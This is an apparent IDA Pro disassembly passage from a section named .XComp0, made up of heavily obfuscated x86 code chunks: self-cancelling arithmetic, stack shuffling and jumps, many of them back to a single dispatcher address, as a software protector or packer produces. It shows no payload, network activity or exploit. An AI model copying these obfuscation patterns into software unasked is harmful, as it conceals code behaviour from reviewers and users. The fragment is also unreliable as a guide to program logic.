; ---------------------------------------------------------------------------


loc_5793E5:				; CODE XREF: .XComp0:00573B91j
		sub	esp, 4
		jmp	loc_57D02D
; ---------------------------------------------------------------------------


loc_5793ED:				; CODE XREF: .XComp0:0057FA9Aj
		mov	eax, 9BD2E764h
		sub	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		mov	eax, 0B44042D9h
		jmp	loc_573573
; ---------------------------------------------------------------------------


loc_579402:				; CODE XREF: .XComp0:005762A2j
		pop	eax
		xchg	edx, [esp]
		jmp	loc_5804E5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	12AFh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_57C639
; ---------------------------------------------------------------------------


loc_579423:				; CODE XREF: .XComp0:00573B2Fj
		mov	esp, [esp]
		push	0B63h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		push	7DCB56A1h
		pop	eax
		neg	eax
		jmp	loc_57F9DC
; ---------------------------------------------------------------------------


loc_57944E:				; CODE XREF: .XComp0:0057B853j
		add	esi, 0F999E501h
		xor	[esp+4], esi
		jmp	loc_57BB59
; ---------------------------------------------------------------------------


loc_57945D:				; CODE XREF: .XComp0:0057D3C7j
		mov	ebx, 573A6FD6h
		xor	[esp+4], ebx
		pop	ebx
		pop	eax
		push	edi
		push	ebp
		mov	ebp, 573A6FD6h
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2B2E6718h
		sub	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_576F46
; ---------------------------------------------------------------------------


loc_579491:				; CODE XREF: .XComp0:00578F4Ej
		add	bh, al
		pop	eax
		sub	bh, 69h
		jmp	loc_573886
; ---------------------------------------------------------------------------


loc_57949C:				; CODE XREF: .XComp0:0057E7F3j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5794A1:				; CODE XREF: .XComp0:0057CDBAj
		xor	cl, bh
		inc	bh
		xor	cl, bh
		jmp	loc_575645
; ---------------------------------------------------------------------------


loc_5794AC:				; CODE XREF: .XComp0:005782E4j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, ecx
		pop	ecx
		jmp	loc_5772E5
; ---------------------------------------------------------------------------


loc_5794C3:				; CODE XREF: .XComp0:0057AA8Ej
		add	eax, 72AB77BFh
		xor	edx, eax
		pop	eax
		push	esi
		mov	esi, 5D345B50h
		xor	esi, 4A407645h
		sub	esi, 2BCD5D70h
		sub	esi, 79E1C14Fh
		sub	eax, esi
		pop	esi
		jmp	loc_577978
; ---------------------------------------------------------------------------


loc_5794EB:				; CODE XREF: .XComp0:005776FBj
		sub	ebx, edi
		sub	ebx, 4A77031Bh
		jmp	loc_576654
; ---------------------------------------------------------------------------


loc_5794F8:				; CODE XREF: .XComp0:005740E6j
		mov	eax, [esp]
		add	esp, 4
		push	7420h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		jmp	loc_57D495
; ---------------------------------------------------------------------------


loc_579511:				; CODE XREF: .XComp0:0057E8F3j
		push	esp
		jmp	loc_57E79F
; ---------------------------------------------------------------------------


loc_579517:				; CODE XREF: .XComp0:0057967Aj
		add	esp, 4
		add	bl, 37h
		jmp	loc_57C3A1
; ---------------------------------------------------------------------------


loc_579522:				; CODE XREF: .XComp0:0057C4E7j
		cmp	dword ptr [edi+20h], 0
		jz	loc_578B48
		push	3C8Bh
		mov	[esp], ecx
		push	751E0D31h
		pop	ecx
		add	esi, ecx
		pop	ecx
		add	esi, eax
		push	6D1Eh
		mov	[esp], edx
		mov	edx, 751E0D31h
		jmp	loc_582835
; ---------------------------------------------------------------------------


loc_579551:				; CODE XREF: .XComp0:0057AA6Ej
		push	ecx
		mov	ch, al
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0
		jmp	loc_5748C6
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dh, 1Ah
		push	edx
		jmp	loc_57A3E7
; ---------------------------------------------------------------------------


loc_579574:				; CODE XREF: .XComp0:005752B8j
		add	ebp, esi
		pop	esi
		and	eax, ebp
		mov	ebp, [esp]
		push	ebp
		push	4CF0h
		mov	[esp], esp
		jmp	loc_57EB99
; ---------------------------------------------------------------------------


loc_57958A:				; CODE XREF: .XComp0:005753B1j
		xor	edi, ecx
		jmp	loc_57BC90
; ---------------------------------------------------------------------------


loc_579591:				; CODE XREF: .XComp0:0057BFFDj
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_577FA6
; ---------------------------------------------------------------------------


loc_57959F:				; CODE XREF: .XComp0:0057E21Dj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		movsx	cx, al
		jmp	loc_582C53
; ---------------------------------------------------------------------------


loc_5795AF:				; CODE XREF: .XComp0:00580E86j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_57F548
; ---------------------------------------------------------------------------


loc_5795D3:				; CODE XREF: .XComp0:005768E4j
		mov	esp, [esp]
		jmp	loc_57B94B
; ---------------------------------------------------------------------------


loc_5795DB:				; CODE XREF: .XComp0:0057ABCBj
		add	edx, 71FE39D2h
		jmp	loc_57D423
; ---------------------------------------------------------------------------


loc_5795E6:				; CODE XREF: .XComp0:005817DDj
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_576FD6
; ---------------------------------------------------------------------------


loc_5795FB:				; CODE XREF: .XComp0:0058324Fj
		movzx	cx, ah
		push	small 23C9h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579613:				; CODE XREF: .XComp0:00582F80j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	edi
		mov	edi, 21F960B9h
		mov	ebp, 3B1093Bh
		xor	ebp, edi
		pop	edi
		sub	ebp, 2248697Eh
		jmp	loc_581C10
; ---------------------------------------------------------------------------


loc_579635:				; CODE XREF: .XComp0:00582073j
		pop	eax
		add	edx, 33145EBBh
		sub	edx, 5DCA1202h
		add	edx, esi
		add	edx, 5DCA1202h
		sub	edx, 33145EBBh
		pop	esi
		jmp	loc_57B25F
; ---------------------------------------------------------------------------


loc_579656:				; CODE XREF: .XComp0:005753F1j
		pop	edx
		push	ecx
		mov	cl, 76h
		add	cl, 1
		xor	cl, 59h
		add	dh, 19h
		add	dh, 6Ah
		add	dh, cl
		sub	dh, 6Ah
		sub	dh, 19h
		pop	ecx
		sub	bl, 0A9h
		sub	bl, dh
		add	bl, 0A9h
		mov	edx, [esp]
		jmp	loc_579517
; ---------------------------------------------------------------------------


loc_57967F:				; CODE XREF: .XComp0:00575848j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5830C4
; ---------------------------------------------------------------------------


loc_579697:				; CODE XREF: .XComp0:00577FAAj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_57D25E
; ---------------------------------------------------------------------------


loc_5796A3:				; CODE XREF: .XComp0:00579DDDj
		push	esi
		mov	esi, 47BC09ADh
		or	esi, 13703BD1h
		jmp	loc_57B520
; ---------------------------------------------------------------------------


loc_5796B4:				; CODE XREF: .XComp0:00576045j
		sub	ebx, 3D6A6ADFh
		jmp	loc_58360C
; ---------------------------------------------------------------------------


loc_5796BF:				; CODE XREF: .XComp0:00581D60j
		add	esp, 4
		jmp	loc_577959
; ---------------------------------------------------------------------------


loc_5796C7:				; CODE XREF: .XComp0:00583158j
		add	edi, edx
		jmp	loc_581B82
; ---------------------------------------------------------------------------


loc_5796CE:				; CODE XREF: .XComp0:005773BAj
		mov	cl, 0A2h
		mov	al, cl
		pop	ecx
		dec	al
		sub	al, 35h
		jmp	loc_57CFAF
; ---------------------------------------------------------------------------


loc_5796DC:				; CODE XREF: .XComp0:005738B0j
		sub	ebp, 1F4E36A4h
		sub	ebp, 6D6201F6h
		jmp	loc_5778C3
; ---------------------------------------------------------------------------


loc_5796ED:				; CODE XREF: .XComp0:0057D4B8j
		push	esi
		mov	esi, 0F00488Ch
		sub	edi, esi
		jmp	loc_5821EB
; ---------------------------------------------------------------------------
		push	7EC9h
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57A616
; ---------------------------------------------------------------------------


loc_57971B:				; CODE XREF: .XComp0:0057B0F8j
		div	cx
		push	edx
		mov	edx, esp
		jmp	loc_57D702
; ---------------------------------------------------------------------------


loc_579726:				; CODE XREF: .XComp0:00576F7Dj
		push	eax
		jmp	loc_57B97D
; ---------------------------------------------------------------------------


loc_57972C:				; CODE XREF: .XComp0:0057C290j
		and	ebp, 40D323C8h
		inc	ebp
		add	ebp, 7A721B0Fh
		add	ebp, 88AD1282h
		add	edx, ebp
		jmp	loc_581B3F
; ---------------------------------------------------------------------------


loc_579746:				; CODE XREF: .XComp0:0057E618j
		shl	ebx, 8
		xor	ebx, 0DB3CDE2Dh
		jmp	loc_57D54A
; ---------------------------------------------------------------------------


loc_579754:				; CODE XREF: .XComp0:0057C0DBj
		add	edi, eax
		pop	eax
		add	edi, 67813DB5h
		push	ebx
		push	edi
		mov	edi, 5F3B43A0h
		mov	ebx, edi
		pop	edi
		or	ebx, 590B429Eh
		sub	ebx, 60456B7Dh
		add	ebx, 137A20A7h
		add	ebx, 218A8687h
		or	edi, ebx
		pop	ebx
		or	edi, 63227429h
		jmp	loc_5827D9
; ---------------------------------------------------------------------------


loc_57978D:				; CODE XREF: .XComp0:005829E7j
		pop	ebx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5814B5
; ---------------------------------------------------------------------------


loc_5797AD:				; CODE XREF: .XComp0:0057B91Dj
		sub	dword ptr [esp], 24FD1795h
		sub	[esp], eax
		add	dword ptr [esp], 24FD1795h
		sub	dword ptr [esp], 37485B67h
		jmp	loc_5741BE
; ---------------------------------------------------------------------------


loc_5797CA:				; CODE XREF: .XComp0:0058201Fj
		push	ebx
		jmp	loc_579DC3
; ---------------------------------------------------------------------------


loc_5797D0:				; CODE XREF: .XComp0:00576913j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	small 2B2Ch
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bh, 0A1h
		dec	bh
		shr	bh, 3
		or	bh, 0ECh
		or	bh, 0F6h
		jmp	loc_575AFE
; ---------------------------------------------------------------------------


loc_579801:				; CODE XREF: .XComp0:0057CD3Dj
		mov	bh, al
		jmp	loc_57BA95
; ---------------------------------------------------------------------------


loc_579808:				; CODE XREF: .XComp0:00578167j
		xor	eax, 9CB6C9h
		xor	esi, eax
		pop	eax
		sub	ebp, 3B8A28C0h
		add	ebp, esi
		add	ebp, 3B8A28C0h
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_575E8C
; ---------------------------------------------------------------------------


loc_57982C:				; CODE XREF: .XComp0:0058014Dj
		push	ebx
		mov	ebx, 5C9D0B50h
		add	eax, ebx
		pop	ebx
		jmp	loc_578AA3
; ---------------------------------------------------------------------------


loc_57983A:				; CODE XREF: .XComp0:0057E086j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		jmp	loc_577681
; ---------------------------------------------------------------------------


loc_57985D:				; CODE XREF: .XComp0:00578158j
		push	eax
		push	33237FBBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57590F
; ---------------------------------------------------------------------------


loc_579871:				; CODE XREF: .XComp0:00576CB9j
		not	eax
		jmp	loc_57A9F5
; ---------------------------------------------------------------------------


loc_579878:				; CODE XREF: .XComp0:00581C0Bj
		push	esi
		push	esp
		jmp	loc_57533F
; ---------------------------------------------------------------------------


loc_57987F:				; CODE XREF: .XComp0:00575B03j
		pop	ebx
		jmp	loc_58290F
; ---------------------------------------------------------------------------


loc_579885:				; CODE XREF: .XComp0:00579DEEj
		mov	dl, 15h
		sub	al, dl
		jmp	loc_57D8C1
; ---------------------------------------------------------------------------


loc_57988E:				; CODE XREF: .XComp0:0057CC3Cj
		mov	ebp, 40EE4A63h
		xchg	eax, ebp
		neg	eax
		xchg	eax, ebp
		shr	ebp, 7
		shr	ebp, 1
		jmp	loc_582FB7
; ---------------------------------------------------------------------------


loc_5798A1:				; CODE XREF: .XComp0:0057716Bj
		and	ecx, edi
		jmp	loc_57C8F5
; ---------------------------------------------------------------------------


loc_5798A8:				; CODE XREF: .XComp0:0058087Cj
		push	edx
		xor	dword ptr [esp], 34426DAh
		pop	ebp
		xor	ebp, 34426DAh
		pop	edx
		push	esi
		mov	esi, 6C9C7857h
		sub	edi, 36DC30E5h
		add	edi, 5A88109Ah
		add	edi, esi
		sub	edi, 5A88109Ah
		add	edi, 36DC30E5h
		pop	esi
		add	edi, ebp
		jmp	loc_577C61
; ---------------------------------------------------------------------------


loc_5798E0:				; CODE XREF: .XComp0:0057E9FBj
		xor	ecx, 156C162h
		add	eax, 6E922A74h
		add	eax, ecx
		sub	eax, 6E922A74h
		pop	ecx
		jmp	loc_574795
; ---------------------------------------------------------------------------


loc_5798F8:				; CODE XREF: .XComp0:00581306j
		add	dword ptr [esp+8], 351633Fh
		sub	[esp+8], ebx
		jmp	loc_57E1D4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_57C3E2
; ---------------------------------------------------------------------------


loc_57991D:				; CODE XREF: .XComp0:0057B77Fj
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_578E12
; ---------------------------------------------------------------------------


loc_57993E:				; CODE XREF: .XComp0:00577EB7j
		push	ebp
		jmp	loc_5822C9
; ---------------------------------------------------------------------------


loc_579944:				; CODE XREF: .XComp0:00574A9Ej
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, esi
		add	eax, 44546D47h
		jmp	loc_574A00
; ---------------------------------------------------------------------------


loc_579963:				; CODE XREF: .XComp0:00582F25j
		sub	esi, 465F5D87h
		push	eax
		mov	eax, esi
		mov	edx, eax
		pop	eax
		pop	esi
		add	ecx, 73891FE3h
		add	ecx, edx
		sub	ecx, 73891FE3h
		jmp	loc_57A1CE
; ---------------------------------------------------------------------------


loc_579983:				; CODE XREF: .XComp0:00575C4Dj
		and	esi, 5FA20A46h
		xor	esi, 744A0D3Dh
		sub	edx, esi
		pop	esi
		add	edx, eax
		add	edx, 70C80D7Bh
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57999F:				; CODE XREF: .XComp0:00580AF5j
		mov	esi, esp
		jmp	loc_576F51
; ---------------------------------------------------------------------------


loc_5799A6:				; CODE XREF: .XComp0:005748C1j
		shl	dword ptr [esp], cl
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5799AE:				; CODE XREF: .XComp0:0057442Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	2F57h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5799C5:				; CODE XREF: .XComp0:00575B9Ej
		push	571Bh
		mov	[esp], ebx
		jmp	loc_575371
; ---------------------------------------------------------------------------


loc_5799D2:				; CODE XREF: .XComp0:00576FD7j
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 54F34F69h
		push	ebx
		mov	ebx, 4D5961AFh
		jmp	loc_57DE85
; ---------------------------------------------------------------------------


loc_5799EC:				; CODE XREF: .XComp0:00579D82j
		shl	ebp, 6
		not	ebp
		push	eax
		jmp	loc_57A66F
; ---------------------------------------------------------------------------
		push	5699h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 0FEh
		jmp	loc_579223
; ---------------------------------------------------------------------------


loc_579A0A:				; CODE XREF: .XComp0:00577CEAj
		push	ebx
		mov	bh, 61h
		add	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		shl	ah, 2
		sub	ah, 58h
		dec	ah
		sub	ah, 0A7h
		jmp	loc_581403
; ---------------------------------------------------------------------------


loc_579A28:				; CODE XREF: .XComp0:00577DE2j
		sub	[edi+24h], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 57FA023Bh
		shl	ebp, 3
		not	ebp
		inc	ebp
		sub	ebp, 60557D2Dh
		and	ebp, 265E6F68h
		xor	ebp, 65A606Ch
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]


loc_579A6C:				; CODE XREF: .XComp0:00582650j
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		jmp	loc_57FB3B
; ---------------------------------------------------------------------------


loc_579A75:				; CODE XREF: .XComp0:005772FBj
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5772B1
; ---------------------------------------------------------------------------


loc_579A81:				; CODE XREF: .XComp0:00576930j
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_57C86C
; ---------------------------------------------------------------------------


loc_579A92:				; CODE XREF: .XComp0:0058177Ej
		sub	dword ptr [esp], 701D26B4h
		add	[esp], eax
		push	edx
		mov	edx, 701D26B4h
		add	[esp+4], edx
		jmp	loc_57E4ED
; ---------------------------------------------------------------------------


loc_579AAB:				; CODE XREF: .XComp0:00578D6Bj
		dec	esi
		not	esi
		neg	esi
		jmp	loc_57B8DC
; ---------------------------------------------------------------------------


loc_579AB5:				; CODE XREF: .XComp0:0058214Aj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579ABA:				; CODE XREF: .XComp0:00577195j
		sub	[edi+24h], eax
		mov	eax, [esp]
		jmp	loc_576D4A
; ---------------------------------------------------------------------------


loc_579AC5:				; CODE XREF: .XComp0:00581C40j
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_57738C
; ---------------------------------------------------------------------------


loc_579AD3:				; CODE XREF: .XComp0:0057C3DDj
		pop	ecx
		jmp	loc_580636
; ---------------------------------------------------------------------------


loc_579AD9:				; CODE XREF: .XComp0:0057C08Ej
		push	6B21h
		jmp	loc_57BABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_579AE3:				; CODE XREF: sub_5A47B5-22888j
		xchg	cl, dl
		not	cl
		xchg	cl, dl
		jmp	loc_57E725
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_579AEE:				; CODE XREF: .XComp0:0058028Cj
		shl	ebp, 3
		neg	ebp
		jmp	loc_576DDA
; ---------------------------------------------------------------------------


loc_579AF8:				; CODE XREF: .XComp0:005821B6j
		add	eax, 5ECD10C0h
		add	eax, ecx
		jmp	loc_57C702
; ---------------------------------------------------------------------------


loc_579B04:				; CODE XREF: .XComp0:00579292j
		xchg	edi, [esp]
		jmp	loc_57E056
; ---------------------------------------------------------------------------


loc_579B0C:				; CODE XREF: .XComp0:0057C20Ej
		dec	edx
		not	edx
		shl	edx, 7
		jmp	loc_57B4ED
; ---------------------------------------------------------------------------


loc_579B17:				; CODE XREF: .XComp0:005793A6j
		pop	edi
		and	ebp, 382671EBh
		add	ebp, 3B5207DFh
		add	ecx, ebp
		pop	ebp
		add	ecx, 1
		push	eax
		push	esi
		push	40832E5Dh
		pop	esi
		jmp	loc_577B51
; ---------------------------------------------------------------------------


loc_579B37:				; CODE XREF: .XComp0:0057A862j
		mov	[esp], ebp
		jmp	loc_5832D9
; ---------------------------------------------------------------------------


loc_579B3F:				; CODE XREF: .XComp0:00581006j
		xor	esi, ebx
		jmp	loc_5777EE
; ---------------------------------------------------------------------------


loc_579B46:				; CODE XREF: .XComp0:0057D87Cj
		xor	edi, 0B6626Dh
		shr	edi, 7
		xor	edi, 3A9301Ah
		neg	edi
		add	edi, 0E8A35D3Eh
		mov	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		push	edx
		mov	edx, 22155A0h
		not	edx
		xor	edx, 440C6544h
		add	edx, 51E36C27h
		sub	edx, 9B7F044Ch
		add	ebx, edx
		jmp	loc_57AEA9
; ---------------------------------------------------------------------------


loc_579B84:				; CODE XREF: .XComp0:0057D362j
		mov	[esp], ebx
		push	6B6h
		mov	[esp], ebp
		push	3614019Dh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 8B932A9h
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		push	eax
		jmp	loc_575C5A
; ---------------------------------------------------------------------------


loc_579BB1:				; CODE XREF: .XComp0:0057DC13j
		mov	ecx, [esp]
		jmp	loc_57FD94
; ---------------------------------------------------------------------------


loc_579BB9:				; CODE XREF: .XComp0:00578652j
		add	esp, 4
		push	591Ch
		mov	[esp], ebp
		push	43470338h
		pop	ebp
		push	eax
		mov	eax, 3B60068Fh
		and	ebp, eax
		mov	eax, [esp]
		push	ecx
		jmp	loc_575786
; ---------------------------------------------------------------------------


loc_579BDE:				; CODE XREF: .XComp0:0058190Cj
		add	esi, 72D2334Dh
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579BF2:				; CODE XREF: .XComp0:0057F869j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_573541
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	5FBB76B1h
		pop	esi
		and	esi, 79B46CC5h
		jmp	loc_573F2D
; ---------------------------------------------------------------------------


loc_579C13:				; CODE XREF: .XComp0:0058318Bj
		add	edx, 37265B68h
		add	edx, 0CC59DCC2h
		jmp	loc_580152
; ---------------------------------------------------------------------------


loc_579C24:				; CODE XREF: .XComp0:0057FFD9j
		mov	edx, 1
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58075E
; ---------------------------------------------------------------------------


loc_579C3A:				; CODE XREF: .XComp0:00581214j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		jmp	loc_579363
; ---------------------------------------------------------------------------


loc_579C58:				; CODE XREF: .XComp0:00581646j
		push	ebx
		mov	bl, al
		mov	ch, bl
		jmp	loc_57FF31
; ---------------------------------------------------------------------------


loc_579C62:				; CODE XREF: .XComp0:00578FE8j
		dec	ebx
		jmp	loc_57F21A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_579C68:				; CODE XREF: sub_5A47B5-2608Ej
		mov	cl, dl
		mov	dl, bl
		mov	bl, cl
		jmp	loc_57821B
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_579C73:				; CODE XREF: .XComp0:0057A588j
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 27AC71D6h
		jmp	loc_576AAD
; ---------------------------------------------------------------------------


loc_579C82:				; CODE XREF: .XComp0:005821E6j
		mov	ecx, 6FC97B40h
		mov	ebp, ecx
		pop	ecx
		sub	esi, 9AF11D2h
		jmp	loc_57893D
; ---------------------------------------------------------------------------


loc_579C95:				; CODE XREF: .XComp0:00581F6Dj
		and	eax, 16433543h
		add	eax, 7AD459B2h
		and	eax, 61CB7127h
		add	eax, 0ACBA60B2h
		jmp	loc_57C5D5
; ---------------------------------------------------------------------------


loc_579CAE:				; CODE XREF: .XComp0:00575BCCj
		add	esi, 391D34B1h
		sub	esi, ebp
		sub	esi, 391D34B1h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_5823D8
; ---------------------------------------------------------------------------


loc_579CD0:				; CODE XREF: .XComp0:00576B47j
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		sub	esi, 67C77DD9h
		add	esi, ebp
		jmp	loc_583138
; ---------------------------------------------------------------------------


loc_579CE6:				; CODE XREF: .XComp0:0057547Cj
		pop	ebx
		or	edi, 4E815FA8h
		jmp	loc_576699
; ---------------------------------------------------------------------------


loc_579CF2:				; CODE XREF: .XComp0:0057537Ej
		xor	esi, ebx
		pop	ebx
		mov	edi, 53931C66h
		xor	edi, esi
		jmp	loc_57A867
; ---------------------------------------------------------------------------


loc_579D01:				; CODE XREF: .XComp0:00582530j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_580F43
; ---------------------------------------------------------------------------


loc_579D0B:				; CODE XREF: .XComp0:0057BD96j
		push	25D5h
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_57D26F
; ---------------------------------------------------------------------------


loc_579D21:				; CODE XREF: .XComp0:005753DBj
		add	edi, eax
		pop	eax
		push	2364h
		jmp	loc_57443A
; ---------------------------------------------------------------------------


loc_579D2E:				; CODE XREF: .XComp0:00577BFEj
		inc	edi
		add	edi, 2B082925h
		push	esi
		mov	esi, 67876648h
		jmp	loc_5742A5
; ---------------------------------------------------------------------------


loc_579D40:				; CODE XREF: .XComp0:0057B6DDj
		mov	[esp], ebp
		jmp	loc_57CBA9
; ---------------------------------------------------------------------------


loc_579D48:				; CODE XREF: .XComp0:0058297Bj
		sub	esp, 4
		jmp	loc_57A73E
; ---------------------------------------------------------------------------


loc_579D53:				; CODE XREF: .XComp0:005757E0j
		sub	eax, esi
		jmp	loc_57764E
; ---------------------------------------------------------------------------


loc_579D5A:				; CODE XREF: .XComp0:0057FF3Dj
		and	eax, 12423B46h
		add	eax, 133F0BAh
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_574BF9
; ---------------------------------------------------------------------------


loc_579D72:				; CODE XREF: .XComp0:00581A4Ej
		xchg	ebp, [esp]
		jmp	loc_581A5A
; ---------------------------------------------------------------------------


loc_579D7A:				; CODE XREF: .XComp0:0057F11Cj
		mov	[esp], ebp
		mov	ebp, 60B14878h
		jmp	loc_5799EC
; ---------------------------------------------------------------------------


loc_579D87:				; CODE XREF: .XComp0:0057C5BAj
		xor	dword ptr [esp], 31684C1Ah
		jmp	loc_5784A6
; ---------------------------------------------------------------------------


loc_579D93:				; CODE XREF: .XComp0:00575F9Aj
		sub	esi, 6216266Fh
		pop	edx
		shl	esi, 2
		push	ebx
		mov	ebx, 73E162A1h
		and	esi, ebx
		pop	ebx
		shr	esi, 8
		sub	esi, 0DB91B5AEh
		sub	edx, 5D9B74EDh
		jmp	loc_57DF01
; ---------------------------------------------------------------------------


loc_579DBA:				; CODE XREF: .XComp0:0057F5D4j
		mov	[ecx], dl
		pop	ecx
		pop	ebx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579DC3:				; CODE XREF: .XComp0:005797CBj
		mov	bh, 87h
		jmp	loc_57FDCC
; ---------------------------------------------------------------------------


loc_579DCA:				; CODE XREF: .XComp0:005766EFj
		mov	[esp], ebp
		push	ebx
		push	7C020A3Ah
		jmp	loc_58180E
; ---------------------------------------------------------------------------


loc_579DD8:				; CODE XREF: .XComp0:00581960j
		or	eax, 583E7A26h
		jmp	loc_5796A3
; ---------------------------------------------------------------------------


loc_579DE2:				; CODE XREF: .XComp0:0057C0ECj
		add	ch, 67h
		sub	ch, 86h
		jmp	loc_57BC2A
; ---------------------------------------------------------------------------


loc_579DED:				; CODE XREF: .XComp0:00575781j
		push	edx
		jmp	loc_579885
; ---------------------------------------------------------------------------


loc_579DF3:				; CODE XREF: .XComp0:00576694j
		mov	ecx, edx
		pop	edx
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_57C772
; ---------------------------------------------------------------------------


loc_579E00:				; CODE XREF: .XComp0:0057C7B9j
		neg	si
		add	si, 0CE25h
		xor	bp, si
		jmp	loc_58225D
; ---------------------------------------------------------------------------


loc_579E10:				; CODE XREF: .XComp0:005807FEj
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_57A77E
; ---------------------------------------------------------------------------


loc_579E1A:				; CODE XREF: .XComp0:0057B809j
		add	esp, 4
		jmp	loc_578CC8
; ---------------------------------------------------------------------------


loc_579E22:				; CODE XREF: .XComp0:00580466j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	7B9Dh
		mov	[esp], eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579E36:				; CODE XREF: .XComp0:0057C9C7j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_57D606
; ---------------------------------------------------------------------------


loc_579E42:				; CODE XREF: .XComp0:0057E8D5j
		shr	eax, 1
		jmp	loc_575F25
; ---------------------------------------------------------------------------


loc_579E49:				; CODE XREF: .XComp0:0057477Dj
		add	ecx, 4
		push	edx
		mov	edx, 2
		push	48AFh
		mov	[esp], edi
		mov	edi, 176D433Ah
		sub	edi, 0FE12C06h
		and	edi, 324F14C5h
